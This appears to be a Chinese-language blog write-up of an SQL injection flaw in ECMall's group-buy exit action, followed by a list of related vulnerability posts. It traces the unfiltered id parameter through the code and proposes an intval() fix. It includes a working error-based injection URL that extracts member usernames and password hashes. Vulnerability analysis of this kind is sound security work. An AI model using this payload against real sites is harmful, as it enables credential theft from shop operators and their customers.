catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Relevant Link:

2. 漏洞触发条件

0x1: POC

http://localhost/ecmall/index.php?app=buyer_groupbuy&act=exit_group&id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b

3. 漏洞影响范围
4. 漏洞代码分析

/app/buyer_groupbuy.app.php

function exit_group()
{
//未对$id进行规范化过滤,导致攻击者可以传入非int型数据
$id = empty($_GET['id']) ? : $_GET['id'];
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
} // 判断是否能退团
if (!$this->_ican($id, ACT))
{
$this->show_warning('Hacking Attempt');
return;
}
$member_mod = &m('member');
$member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
$this->show_message('exit_groupbuy_succeed');
}

跟进if (!$this->_ican($id, ACT))

function _ican($id, $act = '')
{
$state_permission = array(
GROUP_PENDING => array(),
GROUP_ON => array('view', 'exit_group'),
GROUP_END => array('view'),
GROUP_FINISHED => array('view', 'buy'),
GROUP_CANCELED => array('view')
); $group = current($this->_member_mod->getRelatedData('join_groupbuy', $this->visitor->info['user_id'], array(
'conditions' => 'gb.group_id=' . $id, //传入未过滤的$id参数
'order' => 'gb.group_id DESC',
'fields' => 'gb.state,groupbuy_log.order_id'
)));
if (!$group)
{
return false; // 越权或没有该团购
}
else
{
$state_permission[GROUP_FINISHED] = $group['order_id'] > ? array('view', 'view_order') : array('view', 'buy');
}
if (empty($act))
{
return $state_permission[$group['state']]; // 返回该团购此状态时允许的操作
}
return in_array($act, $state_permission[$group['state']]) ? true : false; // 该团购此状态是否允许执行此操作
}

继续跟进$this->_member_mod->getRelatedData
/eccore/model/mode.base.php

function getRelatedData($relation_name, $ids, $find_param = array())
{
$relation_info = $this->getRelation($relation_name);
$model =& m($relation_info['model']);
if (empty($ids))
{
$this->_error('no_ids_to_assoc', $model->getName()); return false;
} if ($relation_info['type'] != HAS_MANY && $relation_info['type'] != HAS_AND_BELONGS_TO_MANY)
{
$this->_error('invalid_assoc_model', $model->getName()); return false;
} $alias = $model->alias;
/* 如果是多对多关系,则连接的表的别名为指定别名或中间表名,否则为模型的别名 */
if ($relation_info['type'] == HAS_AND_BELONGS_TO_MANY)
{
$be_related = $model->getRelation($relation_info['reverse']);
$alias = isset($be_related['alias']) ? $be_related['alias'] : $be_related['middle_table'];
} /* 构造查询条件 */
$conditions = $alias . '.' . $relation_info['foreign_key'] . ' ' . db_create_in($ids); //主键值限定
$conditions .= $relation_info['ext_limit'] ?
' AND ' . $this->_getExtLimit($relation_info['ext_limit'], $alias)
: '';
$conditions .= is_string($find_param['conditions']) ? ' AND ' . $find_param['conditions'] : '';
$find_param['conditions'] = $conditions; /* 查询字段 */
$find_param['fields'] = !empty($find_param['fields']) ?
$find_param['fields'] . ',' . $alias . '.' .$relation_info['foreign_key']
: '';
switch ($relation_info['type'])
{
case HAS_MANY:
break;
case HAS_AND_BELONGS_TO_MANY:
$find_param['join'] = !empty($find_param['join']) ?
$find_param['join'] . ',' . $relation_info['reverse']
: $relation_info['reverse'];
empty($find_param['order']) && $find_param['order'] = $model->alias . ".{$model->prikey} DESC";
$find_param['index_key'] = array($relation_info['foreign_key'], $model->prikey);
break;
} return $model->find($find_param);
}

5. 防御方法

/app/buyer_groupbuy.app.php

function exit_group()
{
//通过intval进行规范化过滤
//$id = empty($_GET['id']) ? 0 : $_GET['id'];
$id = empty($_GET['id']) ? : intval( $_GET['id'] );
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
} // 判断是否能退团
if (!$this->_ican($id, ACT))
{
$this->show_warning('Hacking Attempt');
return;
}
$member_mod = &m('member');
$member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
$this->show_message('exit_groupbuy_succeed');
}

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

ECMall /app/buyer_groupbuy.app.php SQL Injection Vul的更多相关文章

  1. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  2. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  3. discuz /faq.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . 通过获取管理员密码 . 对管理员密码进行破解.通过在cmd5.com ...

  4. ecshop /goods.php SQL Injection Vul

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: poc http://localhost ...

  5. ecshop /category.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuld ...

  6. ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECShop存在一个盲注漏洞,问题存在于/api/client/api. ...

  7. ecshop /flow.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏 ...

  8. ecshop /includes/modules/payment/alipay.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/ ...

  9. dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...

随机推荐

  1. Linux下源码安装ffmpeg及ffmpeg的简单使用说明

    一.编译安装 ffmpeg在安装时依赖的包和版本都很让人头疼,不同编译环境也各不相同.公司之前封装了一个又各种出错. 其实办法很简单,就是到官网一步一步按着做就行了:http://trac.ffmpe ...

  2. 傻瓜看完都可以简单使用Git

    作为当下最流行的版本控制系统,Git是一个分布式版本控制系统,跟SVN等集中式版本控制有很多使用上的不同.万事开头难,想要最快学会使用Git,最简单的就是下了客户端就直接去用,一边用一边学.本文手把手 ...

  3. ZooKeeper 笔记(4) 实战应用之【消除单点故障】

    关键节点的单点故障(Single Point of Failure)在大型的架构中,往往是致命的.比如:SOA架构中,服务注册中心(Server Register)统一调度所有服务,如果这个节点挂了, ...

  4. java:POI导出excel

    POI是一个开源项目,专用于java平台上操作MS OFFICE,企业应用开发中可用它方便导出Excel. 下面是使用示例: 1.maven中先添加依赖项 <dependency> < ...

  5. express:webpack dev-server中如何将对后端的http请求转到https的后端服务器中?

    在上一篇文章(Webpack系列:在Webpack+Vue开发中如何调用tomcat的后端服务器的接口?)我们介绍了如何将对于webpack-dev-server的数据请求转发到后端服务器上,这在大部 ...

  6. SQL基础之select

    1.认识select select的主要语法如下,这个很重要因为只有记住了整体的结构才能应对任何情况.从中可以看到select的强大主要就是建立在where.group by.having.order ...

  7. 反射 实现不同模型相同属性赋值 第二集(automapper)

    前言: 两年前写过一个 反射实现不同模型相同属性赋值 只能简单的实现两个model 相同属性名,相同类型赋值 最近又遇到这个问题,需要对相同属性名或者指定属性名 不同类型(复杂对象,如:List< ...

  8. 两道关于JS的小考题(闭包与中间件)

    题目一:写一个javascript函数 calculate,该函数有如下性质 calculate() = 0; calculate(2)() = 2; calculate(3)(4)(1)(5)() ...

  9. BroadcoastReceiver之短信到来监听和获取内容

    废话就不说了,新建类继承,然后配置Manifest.xml:如下 <!--需要给一个接收短信的权限 --> <uses-permission android:name="a ...

  10. yii2权限控制rbac之详细操作步骤

    本篇的主题是 rbac权限控制的详细操作步骤,注意是操作步骤哦,关于配置与rbac的搭建,我们在博文 yii2搭建完美后台并实现rbac权限控制实例教程说的再清楚不过了. 但是,在很多人的反馈下,说是 ...